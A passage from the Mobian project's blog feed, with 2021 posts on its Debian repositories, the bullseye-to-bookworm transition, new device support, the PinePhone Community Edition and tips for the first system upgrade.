staging: This is the bleeding edge repository for Mobian. While it also targets Debian bookworm, it contains new, minimally tested or experimental packages. This repository allows users to test packages before they’re released to a wider audience and help us discover new bugs and regressions.
bullseye: This is the old Mobian repository targetting Debian bullseye. It is no longer receiving updates and should now be considered a security risk, especially in the light of recent kernel-related CVEs.
mobian: An alias for bullseye and therefore no longer receiving updates as well.

Debian Repositories:

bullseye: Current Debian stable.
bookworm: Current Debian testing and the target of all supported Mobian repositories.
sid: Debian unstable. While conceptually similar, this is not targeted by Mobian staging.

Simply put, Mobian bookworm and Mobian staging are the current, supported versions, both targeting Debian bookworm.

As you may have noticed, there is no Mobian “stable” repository at the moment: while a significant (and ever growing) number of users deem Mobian stable enough for daily use, there are still a number of issues getting in the way of a really smooth and enjoyable user experience. It is our hope and goal that those issues will be fixed during the Bookworm development cycle, leading to a first Mobian stable release by the time Bookworm becomes the new Debian stable (fingers crossed).

A note on Kernel Releases

The current plan is to have the most recent LTS kernel available in Mobian bookworm, with staging receiving less well-tested non-LTS versions. This is due to the regressions which can occur between kernels and allows users to understand before upgrading how thoroughly a given kernel has been tested.

In saying this, 5.15 is the latest LTS kernel and is currently the default one in Mobian bookworm as well as Mobian staging, with the latter about to switch to 5.16 once it is released.

Mobian users who want to help with this process are encouraged to test these unstable kernels when they are released and report any regression.

To Bullseye and beyond!

Wed, 11 Aug 2021 00:00:00 +0000

As you might be aware, the next Debian stable release (codename bullseye) is only a few days away.

But what does it imply for Mobian?

Bullseye on mobile

Bullseye will be the first Debian release including a modern software stack aimed at mobile devices, which is an important milestone in itself. However, development in this area is progressing at a rapid pace, and most packages in bullseye are already outdated, missing important features such as improved modem handling during suspend/resume cycles, or recent packages like GTK4 and libadwaita.

As Mobian is developed by a small team of already busy individuals, we have decided we wouldn’t support bullseye after it’s released and will focus our efforts on the next Debian version (codename bookworm).

Current users will still get updates from Debian throughout the lifetime of bullseye but shouldn’t expect new versions of user-facing applications or the mobile software stack. To put it short, here’s what you’ll get from sticking to bullseye:

security updates for the core system
minor upgrades to system packages

Here’s what you won’t get should you decide to stick to bullseye:

security updates for packages maintained by Mobian
shiny new features
usability improvements

The way forward

Within a few days, following the bullseye release, we’ll create and populate a new Mobian repository targeting bookworm. Upgrading from bullseye to bookworm won’t be automated and will require editing your sources.list files: simply replace bullseye with bookworm in both /etc/apt/sources.list and /etc/apt/sources.list.d/mobian.list.

Notes:

if you originally flashed your device with an image older than April 26th, 2021, will have to edit /etc/apt/sources.list.d/extrepo_mobian.sources, replacing Suites: mobian with Suites: bookworm
if you were using Mobian staging so far, you will only need to edit /etc/apt/sources.list: our current staging repo will keep being the entry point for all new and updated packages we upload

Please keep in mind that we expect a huge amount of upgrades to be flowing in the weeks following the bullseye release, with plenty of opportunities to break the system, so you might want to wait a bit before upgrading ;)

Once the dust settles, we plan to move more and more of Mobian into the Debian archive with the hope of making Debian bookworm a first-class citizen in the “Linux on mobile” world.

The next couple of years are going to be exciting for all of us, so we can only thank you for your support, and we hope you’ll enjoy the ride at least as much as we do! :)

2021-05-17 Status update

Mon, 17 May 2021 00:00:00 +0000

The past few months have been quieter than usual regarding Mobian development, but that’s not to say we didn’t make progress! Actually, even though user-visible changes are few, we kept working on improving both the stability of our distribution and our tooling, so that new developments can be better tested, and reach users faster than they used to.

Mobian CE reception and outcomes

The Mobian Community Edition PinePhone has been a great success for us, with of course a few hiccups, but the feedback we received so far has been extremely positive. We’d like to take this opportunity to thank Pine64 once again for allowing us to be part of this amazing journey!

As you probably know, Pine64 generously donated 10$ per device to the Mobian project, which we received early last month. Out of this amount, we chose to donate 5000€ back to the Debian project (which provides the foundation for all of our work on Mobian), and invested about the same amount into our own infrastructure (workstation, build servers…). Finally, we purchased a few additional mobile devices we considered interesting targets and started porting Mobian to those.

New supported devices

Let’s play with Android phones!

Until recently, Mobian supported only Pine64’s PinePhone, PineTab and Purism’s Librem 5. This is partly related to our choice of only using mainline kernels, instead of vendor-provided Android kernels: those use a number of non-standard interfaces, and require additional software, such as Halium, in order to be used with a “standard” Linux userspace. In addition, vendor kernels are generally outdated and very rarely updated to newer kernel releases, which is obviously a concern for long-term maintenance.

Fortunately, our friends at postmarketOS have committed to mainlining devices for quite some time now, and by encouraging such development have reached great results so far! Based on their initiative, and more specifically thanks to @calebccff’s and @Joel’s work on the SDM845 kernel, we have been able to port Mobian to 2 new devices.

We can therefore formally announce official Mobian support for the Pocophone F1 and OnePlus 6 and 6T! Be aware, though, that work on these devices has only recently started, and they’re still far from being usable as daily drivers: while most of the basic features (display, touchscreen, hardware buttons, GPU acceleration, WiFi/BT) is already functional, the modem and audio don’t work at the moment, neither do the cameras. They do, however, give a good idea of Mobian’s performance on recent mobile hardware.

You should also keep in mind that, although such smartphones benefit from a drastic performance boost when compared to Linux-only phones, they don’t offer the same level of privacy one can expect from the PinePhone or Librem 5: there are no hardware killswitches, a whole lot of closed-source binary blobs are required (firmwares for the GPU, WiFi adapter, modem…), and the baseband modem is part of the main SoC, with physical access to the system’s memory bus. Anyway, if you own one of these devices you can test-drive Mobian by following the instructions on our wiki.

If it runs Windows, then it should run Linux, right?

Although smartphones usually get the most attention, being essential devices for many people, tablets are another family of devices which can benefit from Linux support and can be better suited than phones for a range of use-cases, mainly thanks to their larger displays. In this regard, the PineTab is a really fine and capable device, but you can easily imagine the potential of such a device with an even larger display and more processing power (wouldn’t a PineTab Pro be awesome?).

This is what prompted us to work on supporting the Microsoft Surface Pro 3 tablet: this device is pretty much a standard x86 computer in a tablet form-factor, so it can run a fully mainline kernel without any additional patch. As a matter of fact, this is the first device we support which doesn’t require a custom kernel and/or bootloader, but relies on upstream GRUB and Debian’s amd64 kernel. And yet, every internal peripherals are supported out of the box (yes, including the cameras)!

This image has only been tested on the Surface Pro 3 for now, but it might work as-is with every Surface Go and Surface Pro tablet (and maybe other x86/UEFI tablets), although touchscreen support for the Surface Pro 4 and later will probably be missing. If you have the opportunity to test it on x86 tablets other than the Surface Pro 3, feel free to let us know how it went, so we know which devices could use some more work, and to which extent.

Mobian can be installed on the Surface Pro 3 by following the installation instructions for x86-based devices.

CI is coming

These past few weeks, @undef bootstrapped and paved the way for enabling CI on our repos, which will greatly help improve our development process. By re-using most of the CI pipeline used by Debian, and making the few required adjustments to include software from Mobian, we will soon be able to unleash the power of CI, resulting in less burden for developers, easier installation and testing of development version packages, and overall a more solid development infrastructure.

An interesting part of this effort are CI-generated docker containers available from Gitlab’s registry. These images will be used by our CI pipelines, but they also can be used to easily create a clean Mobian environment for building packages. If your distro supports binfmt and you have qemu-user-static installed, you can even use the arm64 images on your x86 machine for building packages you can directly install and run on your device!

Ongoing baseline work and new images

Most of the distro is currently frozen/in a somewhat stable state. This has of course lots to do with the Debian bullseye freeze, but we kept updating a few user-facing applications so we can still benefit from the latest improvements. These past few weeks, we updated Geary to the latest upstream version (which is now fully adaptive without requiring any additional patch), as well as evince (PDF viewer), gedit and gnome-control-center (all by applying the latest patches from Purism). We also imported new versions for Megapixels, wake-mobile and portfolio.

However, as a growing number of applications move forward to adopting GTK4, the current version of Mobian will be lagging behind, as GTK4 won’t be included in Debian bullseye. We’d rather avoid maintaining a forked GTK4 package targetting bullseye as it’s a big and complex piece of software, so there are applications we won’t be able to update anymore, such as Megapixels. Once bullseye is released, the current Mobian repo will keep tracking this version and will only receive updates for security-related reasons and core software (phoc, phosh, squeekboard and the default applications), as long as it doesn’t require backporting new library versions from bookworm. We’ll then create a new “testing” repository tracking Debian bookworm, and base all future builds on this repo.

Regarding the default kernel for Pine64 devices, even though 5.11 has been available in our repo for a while, we’re still shipping with 5.10 for now: our current 5.11 kernel exhibits occasional issues with USB-C and breaks suspend on the PineTab, meaning we can’t switch to this version as the default yet. If you don’t mind the drawbacks, switching to 5.11 is of course only an apt install linux-image-5.11-sunxi64 away!

As a final note, for the first time, our reference images are signed with the project’s GPG key, which can be downloaded from our server or using the following command:

gpg --keyserver keyserver.ubuntu.com --search-keys admin@mobian-project.org

We are releasing new versions of the PinePhone and PineTab installer today, as well as new reference images for the PinePhone and PineTab.

Enjoy :)

The road to the Mobian Community Edition (part 1)

Thu, 08 Apr 2021 00:00:00 +0000

The Mobian project was officially announced on May 14th, 2020. But those who witnessed its birth surely remember it all started a few months prior to this date, a bit more than one year ago, actually. One year hacking and building both a mobile operating system and a community. One year refining our system, getting rid of the early days’ hacks in favor of more mature and robust solutions. One year ending with a major milestone for such a young project: getting the Mobian Community Edition PinePhone into the hands of thousands of users. One hell of a year, indeed!

It all really started on January 29th, 2020, when I received a shiny new toy: an ARM64 development system packed with a number of interesting, if not unique, features:

5.95" touchscreen
removable battery
integrated eMMC
µSD socket
USB-C port
3.5" headset jack
4G modem

The PinePhone was my first “real” Linux phone: I had owned a Nexus 5 running Ubuntu Touch, but it was basically an Android phone, running an Android kernel. While it was a very fine device, definitely usable as a daily driver, I got quickly frustrated by all the things I couldn’t do on this system, mostly due to Canonical’s design choices: it was not a hacker’s device, just a different, yet mainstream, mobile phone.

Let’s be honest, back when PINE64 announced the PinePhone, I had already pre-ordered a Librem 5, and I only purchased this device so I could play with Phosh and the L5 software stack while waiting for my “real” phone. But still, there was literally a world to build with the PinePhone, so why not give it a try?

Unboxing and early hacking

While waiting on the PinePhone, I gathered as much documentation as possible about the device itself, but also the existing ecosystem: select developers had access to an even earlier version of this phone, and there were already a few systems available. Among those, postmarketOS looked the most promising, as it allowed the user to chose various environments, Plasma Mobile and Phosh being the ones I absolutely wanted to try.

Test-driving the various OS’s available at the time kept me busy for the major part of the 2 evenings following the PinePhone delivery, and was enough to prove the phone’s potential. Still, the whole software stack was far less mature than it is today, and a lot of features were missing (no suspend, no camera, to name just a few), which was to be expected given the very small number of developers having worked on it thus far. Nevertheless, the fact that it was actually usable came in as a pleasant surprise.

But you can’t get a tinkerer to simply use such a device. Therefore, armed with a DIY serial adapter (probably the single most important tool of any embedded software developer) made out of an old RCA-to-3.5mm-jack audio cable, it was time to have a closer look at how this device worked, and what I could do with it.

Being a strong Debian fan since the early 2000’s, and having some experience with creating custom Debian-based images for embedded systems as part of $dayjob, I couldn’t aim for anything other than running Debian on my phone! Fortunately, the PINE64 and Debian communities had already published everything I needed to succeed:

the PINE64 Gitlab contained the sources for the bootloader (u-boot) and Linux kernel used on their devices
debos, a simple yet powerful tool I was already familiar with, could be used to generate a base arm64 Debian system

As I was about to travel for the week-end, I simply packed the kernel and bootloader sources on my laptop, along with as much documentation as I could find, a postmarketOS image to serve as a reference, and a debos-generated arm64 Debian rootfs.

Fun fact: the first step towards Mobian actually took place in the air, as the first time I could get the PinePhone to boot a Debian-based image happened during my flight to Brussels for last year’s FOSDEM.

Getting to a usable system

After the first successful boot and a bit of tinkering (running weston to make sure the graphics driver was working, fiddling with nmcli to setup a wifi connection – which would prove essential as there was no other network connectivity at that point), the next step was getting a usable graphical environment working.

Back then, phosh was (and still is) being developed by Purism for their Librem 5, and it was already running on the PinePhone with postmarketOS. It already looked in good shape and was really appealing to me, mostly as it’s based on GTK and (as I would quickly discover) GNOME libraries. Actually, my desktop of choice is XFCE, as I always found GNOME 3 to be a bit laggy and unresponsive (it’s been a while since I last tested it, though), but we’re still in GTK territory, which I, as both a user and a developer, have always preferred over other toolkits.

As PureOS (Purism’s own distro) was based on Debian, I first tried to simply add their repos to my base image and apt install phosh. Unfortunately, I quickly found out it wouldn’t be that easy, as PureOS was based on an old(ish) version of Debian, and had many backported and/or modified packages. In the end, using PureOS repos on a Debian system would effectively have resulted in a Frankendebian of the worst kind.

I could have used PureOS as my base system, and only add a small number of packages on top of that, but my ultimate goal was running a “real” Debian on my phone, including full access to the whole Debian archive. I then had to resort to the option I tried to avoid: rebuilding the phosh ecosystem packages for Debian.

Actually, I had hoped that someone would have done so, but it turned out there was no such someone back then (remember it was still the BraveHeart days, and PinePhones were only arriving into developers’ hands). PureOS being based on Debian, it only required minor adjustments to the existing packages to make them build and run on a real Debian system. Purism really deserves credit here, for developing Phosh and its ecosystem in the open, for using a Debian base for their distro as it really lowered the amount of work needed to get everything into Debian, and for doing their best at helping other distros.

Finally, after only a few days with the PinePhone, hacking mostly between FOSDEM talks and during the Brussels round-trip, I was able to boot my PinePhone into Phosh using a custom Debian-based image. A small cleanup and a few improvements later, I published the initial git repo of what would become Mobian on February 4th, 2020.

As you can see in the original README file, there was much to do before reaching daily-driver status, but that’s a story for another day ;)

To be continued…

2021-03-17 Status update

Wed, 17 Mar 2021 00:00:00 +0000

In the past few months, a whole lot has happened for Mobian: we launched, in close cooperation with Pine64, the Mobian Community Edition PinePhone, which by now should have reached the hands of almost all who ordered it. We went through several iterations of our on-device installer and other strategic packages, such as the kernel, and we’ve been busy improving both our packages and infrastructure.

We’re very grateful that Pine64 offered us the opportunity to put Mobian into the hands of PinePhone owners as the factory default OS for the last batch of “Community Edition” PinePhones. It drove us to work tirelessly in order to make Mobian a great out-of-the-box experience, and prompted us to work hard on the on-device installer and related improvements.

Due to production constraints, the Mobian CE PinePhones shipped with version alpha2 of the installer, which was built on December 2nd, 2020. These phones started shipping more than 2 months later, and therefore couldn’t benefit from several improvements we made in-between.

While we did our best to make sure the initial upgrade went fine, we got bit by an issue related to a pam upgrade in upstream Debian which broke the screen unlocking, requiring special attention during the first system update.

We also uncovered an issue where the /boot partition would quickly be filled due to a kernel version upgrade from 5.10 to 5.11 when full disk encryption was enabled. This is due to the unusually large initramfs file size as it must carry all software required for unlocking the device, including graphics drivers and libraries. We mitigated this issue by forcing zstd compression of the initramfs and improving the initramfs generation to only include required graphics drivers. However, major upgrades still require special attention as the /boot partition is still a bit small and could easily be filled.

We increased the size of this partition on all the recently generated images, so if you want permanent peace of mind, we suggest you flash your PinePhone with the latest reference image or installer.

Modem and hardware support improvements

During these past few months, we greatly improved eg25-manager, including valuable contributions from postmarketOS, UBports and Plasma Mobile developers. It is now more stable and can recover more easily from unusual situations. Another great improvement is you can now use custom command sequences for modem configuration, suspend and resume: all of those are now stored in configuration files users can edit and override without having to recompile the whole software.

We also published a 5.11 kernel which isn’t the default yet, but can be installed with apt install linux-image-5.11-sunxi64. This kernel vastly improves charging support using USB PD, and is confirmed to work just fine with the PinePower Desktop’s USB-C port.

Debian bullseye freeze and Mobian

Debian bullseye went through several stages of its freeze process, starting January 12th. This reduced the flow of updates a bit, and Mobian’s base system won’t evolve much in the coming weeks. The current Mobian repository will keep tracking bullseye, meaning our packages will only get selective updates from now on, and require extra care to not break anything.

Once bullseye is released, the current Mobian version will then be considered “stable”. This won’t mean all bugs have been fixed, but rather that updates will likely never break your system.

This also means some packages won’t be updated anymore when they start requiring upgrades of important underlying libraries. One good example is phoc, which for now builds against version 0.11 of wlroots, but will evolve in the future to only support more recent versions of wlroots. When that happens, we won’t be able to upgrade phoc anymore in the current repository.

As Mobian is still heavily a work-in-progress, we don’t want to stop the flow of fixes and improvements though, which is why we created the staging repository. All package updates now go into staging first, and are manually migrated to the bullseye archive after a few days of testing. This will participate in bringing you more reliable system upgrades.

Improved on-device installer and new images

The installer has also seen a lot of work, and now includes the ability to flash the installer to an SD card, boot from the card, and install Mobian to the internal eMMC. It also allows you to select the root partition filesystem, with a choice of ext4 or F2FS (which has been, by the way, the default filesystem for nightly images for the last month).

We are therefore releasing a new version of the installer today, which includes all the latest improvements to both the installer itself and the base image.

A new reference image for the PinePhone is also available for download.

And as usual, we don’t forget the PineTab, which also has its own new installer and reference images.

Enjoy :)

The staging Mobian distro

Mon, 15 Mar 2021 00:00:00 +0000

Most of us just want their phone to be working. But some like to be more on the edge of things, trying out the newest ~~bugs~~features. The recently announced staging distribution allows users to do just that. Read further to learn its purpose and how to enable it.

Mobian is an overlay over the regular Debian bullseye repository. Its package source is configured in /etc/apt/sources.list with a single line: deb http://deb.debian.org/debian bullseye main. ¹

Currently the (relatively) stable Mobian overlay is configured in /etc/apt/sources.list.d/mobian.list containing the following:

deb http://repo.mobian.org/ bullseye main non-free

If you had flashed your device with an image older than April 26th, 2021, you may have a file named /etc/apt/sources.list.d/extrepo_mobian.sources instead, containing the following:

Types: deb
Architectures: amd64 arm64 armhf
Uris: http://repo.mobian.org/
Suites: mobian
Components: main non-free
Signed-By: /var/lib/extrepo/keys/mobian.asc

Recently we introduced Mobian staging, in which we include packages that are pretty new and/or might need a bit more testing. Mobian staging is a full Mobian repository, so it includes everything that the “normal” repository includes and a bit more (and some packages a bit newer).

By switching to it, you agree to name your firstborn Debian and to never eat cookies again after 3pm! So think twice before you do it!

The easiest way you can switch to using this repository is by simply changing the word bullseye to staging in /etc/apt/sources.list.d/mobian.list, or the line Suites: mobian to Suites: staging in /etc/apt/sources.list.d/extrepo_mobian.sources. This way, you will be getting all your Mobian packages from https://repo.mobian.org/dists/staging instead of https://repo.mobian.org/dists/mobian.

Some of the packages you install will be from the staging Mobian repo and most will be coming directly and unmodified from one of the Debian mirrors.

How do I find out if a package comes from Debian or Mobian?

Great question! Issue a apt policy PACKAGENAME to find possible sources and priorities of packages. (this will be even more useful when we talk about pinning of packages in a future blog post). For instance, at this time apt policy phosh yields:

phosh:
Installed: 0.9.0-1mobian1
Candidate: 0.9.0-1mobian1
Version table:
 0.9.0-1mobian1 700
     700 http://repo.mobian.org staging/main arm64 Packages
     100 /var/lib/dpkg/status
 0.8.1-1mobian1 700
     700 http://repo.mobian.org mobian/main arm64 Packages
 0.8.0-1 500
     500 http://deb.debian.org/debian bullseye/main arm64 Packages

So, as an explanation: In this case phosh is available through Debian, mobian or (mobian) staging. And given the priorities (those 700 and 500 numbers), it prefers the mobian ones over the Debian one. And it prefers higher version numbers given the same priority, so it will pick the one from the staging repo.

If you want to learn more about priorities and how apt decides what to install, check the debian wiki page on that topic.

So how is Mobian staging different from Debian unstable?

For now, Mobian staging is still an overlay over Debian bullseye, although this might change in a not-so-distant future. So do not start including the Debian unstable (aka sid) repository, thinking this is what you should be doing. If you include sid repositories, you have finally voided your warranty, as far as support from the Mobian side goes…

Will changes in Mobian staging transition to the stable Mobian

If those changes turn out to be bad no, if yes, they will. Currently there is no automatic transitioning of packages entering staging to the stable version. It will need to be done by hand. The plan is to turn on automatic transitioning at some point in the future though.

Don’t worry about the seemingly insecure http in there. All Debian/Mobian packages are signed and that signature is checked upon installation. As any meddling would be detected by that, the transport of the packages can be insecure. Using http allows better caching of packages “on the way” than using https. ↩︎

What is Mobian?

Thu, 18 Feb 2021 00:00:00 +0000

Now that the Mobian CE is being sold, and Mobian becomes more popular, we are often asked in the support channel, “what and who is Mobian?” In the midst of action, we don’t reflect upon this subject very often, but it is worth contemplating and summarizing.

What is Mobian?

Mobian aims to integrate the standard Debian distribution with Phone-specific projects and modifications in a distribution that works on certain mobile phones and tablets, such as the Pinephone, the Pinetab and the Librem 5. The idea is to minimize the Mobian specific pieces by “upstreaming” changes to the original projects as much as possible.

To achieve this, we tread a delicate balance between carrying customized patches and packages that are required to make Mobian run well on its supported devices, while trying to push as many of these changes into upstream Debian. You could think of Mobian as a Debian Pure Blend, and indeed we aim at becoming one at some point in time.

For the time being, we are focused on the same software stack that Purism uses for the Librem5, that is, wayland-ish, gnome-ish, modem manager-ish. Being based on the Phosh environment facilitates that, but of course it is perfectly possible to run Qt-based software. We have nothing against KDE and the plasma shell, and are contemplating whether, when and how we can support that too, but for the time being creating a single working GUI is enough of a challenge.

Who is Mobian?

It was founded by a-wai in order to make Debian running nicely on the Pinephone. Mobian’s public outing occured on 14 May 2020 when Mobian was announced in this thread in the PINE64.org forum.

a-wai is the founder and leader of the project. That having said, he has proven to be listening and acting upon the opinions of his fellow volunteers¹. These volunteers are a loose and informal collection of people that have nagged @a-wai long enough until he invited them into the (not so secret) developers room, where they conspire to achieve world domination. All developers are unpaid volunteers, enthusiastic, nice & friendly².

We are not associated with a single nation, company or timezone³.

How much are you earning with Mobian?

If you donate to Mobian via liberapay, you’ll see on that page what the project currently receives. Of the sold Mobian CE phones, PINE64 donates us 10$ per phone (indeed: WOW! and THX!). We are also grateful to being able to use the services of gitlab and salsa.debian.org.

The money is being used to pay for our web hosting (server and bandwidth) and hardware we need for development purpose (new devices, build machines, useful accessories…). Part of the user donations also cover some of the beer expenses of our developers so they don’t have to fight thirst while coding. In the future, we might use also some of those funds to sponsor needy developers with a device to enable hacking (don’t start asking us for free devices for now, thank you).

How to help us

Use it, improve it, both the software and the documentation. As we depend upon software in the Debian ecosystem, you don’t even need to have supported hardware to make an app suitable for small screens, or implement a feature or application that is need to make the experience smoother.

Standing on the shoulders of …

We would not be where we are without the Debian ecosystem or Purism and their pioneering efforts to make Linux usable on phones. We are also grateful to PINE64 for selling a Mobian community edition which allowed us to place the Debian swirl onto people’s phones, and for donating per sold community edition device to the Mobian project. We are also grateful to PostmarketOS for a number of userspace programs and last but not least all the kernel hackers (Ondrej Jirman aka megous and Samuel Holland) hacking away and improving hardware support.

Project FAQ

What is your code of conduct, what is your privacy policy, what is your…

Given that we are closely aligned with the Debian project, have a look at their code of conduct, contribution guidelines, etc and you get a pretty good picture.

But is Android not already Linux on mobile?

We could answer this question. However, it would not be printable on the public Interwebs, so you won’t find the answer in this post.

Can I pay £|$|€|… to implement feature “X”?

Do hire or donate to someone to implement X directly instead of channeling money through us. It might help to ask beforehand whether we (or Debian) would like to have feature X, though.

@a-wai has not written this sentence. He has not been asked and will not be asked whether he would support that statement :-). ↩︎
Please treat them in a manner they remain so. ↩︎
No, we are not part of the Eastern Standard Tribe). ↩︎

Issues and hurdles when performing the initial upgrade

Tue, 09 Feb 2021 13:53:19 +0100

Dear Mobian CE owners, congratulations on receiving your mobile phone. We hope you will like Mobian and we hope that you will be helping us to make it even better.

We are writing this post as the initial upgrade is rather tricky and there are a few pitfalls when performing it. We do know that real men and women don’t read manuals, but please read this post carefully in order to not lock yourself permanently out of your phone (just an example of what can happen if you don’t read this…).

Most importantly, we want to inform you, that there is a minor issue with PAM (pluggable authentication module) when upgrading the preflashed image. It was upgraded in an incompatible manner, and when the lockscreen of your phone is invoked after upgrading but before rebooting, it will not accept your PIN anymore (fortunately in most cases, a simple reboot makes it work again).

So do not worry, your installation is not broken!

Therefore: After upgrading your pinephone for the first time it is highly recommended to reboot the device after the upgrade has finished. And keeping the screen unlocked during the initial upgrade by:

touching the screen frequently (get used to the feeling :-)) or
temporarily disabling the automatic lockscreen in the settings.

Otherwise you run the risk of not being able to unlock your device once the screen has been locked.

The second major issue during the initial upgrade is related to the graphical software updater, called “Software”.

The Software application can usually keep the software on your pinephone up-to-date and will prompt you to reboot after an update. On the initial update with currently more than 600 package changes compared to the factory image, it chokes and struggles, though.

You will get some mysterious “Cannot update due to unmet dependencies” error in the software app if you try. So for the initial update, we recommend performing a manual update in the terminal (a great way to familiarize yourself with the terminal and Debian’s package manager called apt).

For this drop into the terminal King’s Cross (also called kgx, it has a subway logo). On the terminal issue:

sudo apt update
sudo apt dist-upgrade

sudo apt autoremove

sudo will require you to enter your PIN to allow you to perform administrative tasks.

apt dist-upgrade will be required instead of the common apt upgrade as it needs to remove a few packages that have been superseded or obsoleted, and a regular “upgrade” will refuse to do that.

(The autoremove command is not necessary, strictly speaking, but it cleans out unneeded packages after the upgrade, you can easily run it after a reboot too, at any time).

Again, due to the aforementioned PAM issue (it basically prevents the lock screen from accepting your password), try to keep your screen awake while the dist-upgrade is running in order to prevent locking yourself out (this should only be needed on this very first upgrade). And reboot immediately after the upgrade finished.

We are sorry for these inconveniences which are due to the fast pace of development while your phone was being manufactured and shipped.

Other warts and hurdles to consider

Wifi with multiple APs

Also note that the factory image with kernel 5.9 still has a problem when there are multiples WIFI access points providing the same network (SSID). This has improved in the current kernel version 5.10, but you might experience instabilities in this situation until you have fully updated.

Copious amounts of data downloaded

During the initial update, your pinephone wants to download 536 MB of data (as of this writing), so make sure you are not on metered mobile data connection or paying by the megabyte.

Update tip: Power to the phone

Plug into power while updating to avoid your phone from going to sleep while it updates (by default it is set to go into deep sleep only) when running off the battery.

Update tip: ssh for those who know what they do

If typing on the phone terminal sounds like pain, and you are familiar with ssh, you can install the ssh server by issueing sudo apt install openssh-server and then connecting to “ssh mobian@YOURPINEPHONEIP” to access your phone from any other computer. (connect over Wifi or USB cable to a computer) Access via ssh has the additional benefit that the phone lockscreen will not bother you, as the ssh access remains active even when the lock screen is invoked.

Troubleshooting

In case of fire, emergency and bricked phones:

You can always download a new image and reinstall the thing if you really really locked yourself out. Pinephones are really hard to permanently brick. The installation instructions, and the matrix channel #mobian:matrix.org are your friends.

Announcing the PinePhone Mobian Community Edition

Fri, 15 Jan 2021 00:00:00 +0000

We are absolutely thrilled to announce that Pine64 is releasing a Mobian Community Edition of the PinePhone! This is a major milestone for our project, which started less than a year ago as a way to bring Debian to this exact mobile device!

A Debian computer in your pocket

The PinePhone is basically a handheld computer with 4G connectivity. With Mobian, this (truly smart) phone comes with a distribution tons of Debian users are already familiar with, optimized for the PinePhone while still giving them access to the 50,000+ packages already in the Debian archive.

Mobian ships with Phosh, a mobile-oriented desktop environment based on GNOME technology, initially developed by Purism for their Librem 5 smartphone. Default applications have been selected for their usability on a phone-size display wherever possible, and we’re confident this list can only grow over time.

Combined with the absence of software trackers, this gives you an ad-free, privacy-respecting platform you can bring anywhere with you and use the same way you do with your personal computer. Taking it to the next level, plug in a USB-C dock connected to a keyboard, mouse and HDMI monitor, and you won’t be able to tell if you’re using a phone or a “regular” computer.

What to expect

When first powering on your PinePhone Mobian Community Edition, you’ll be greeted with an installer, allowing you to choose your user password and presenting you with the ability to enable full disk encryption.

Hardware support is pretty much complete, and while it still needs to be refined in a number of areas, you’ll be able to enjoy full phone functionality (including voice calls, SMS, mobile broadband, WiFi, front and back cameras…) from day one.

However, please note the software is still mostly work-in-progress, and evolves on an almost-daily basis. Your device will arrive with a several months old image, so we can only recommend that you update your PinePhone as soon as possible to take advantage of the latest developments.

Pricing & Availability

The PinePhone Mobian Community Edition will be available to pre-order from the Pine64 Store on January 18th and comes in two configurations:

$149 – 2GB RAM + 16GB eMMC
$199 – 3GB RAM + 32GB eMMC Convergence Package with an included USB-C dock

Finally, you should be aware of the fact that Pine64 will generously donate $10 to the Mobian project for each device sold, a significant portion of which will be given back to the Debian project on which we rely heavily (and to which we obviously contribute!). We can’t thank them enough for their commitment to bring FLOSS-driven devices to the market and support to open-source projects!

Welcome to Mobian's Blog!

Wed, 13 Jan 2021 00:00:00 +0000

Almost a year after the project first started, it’s about time we created an official communication channel for more-than-140-chars messages from the Mobian team.

On this blog you will find status updates, important announcements and technical articles by our developers.

Make sure you bookmark this website to stay updated on the latest Mobian news.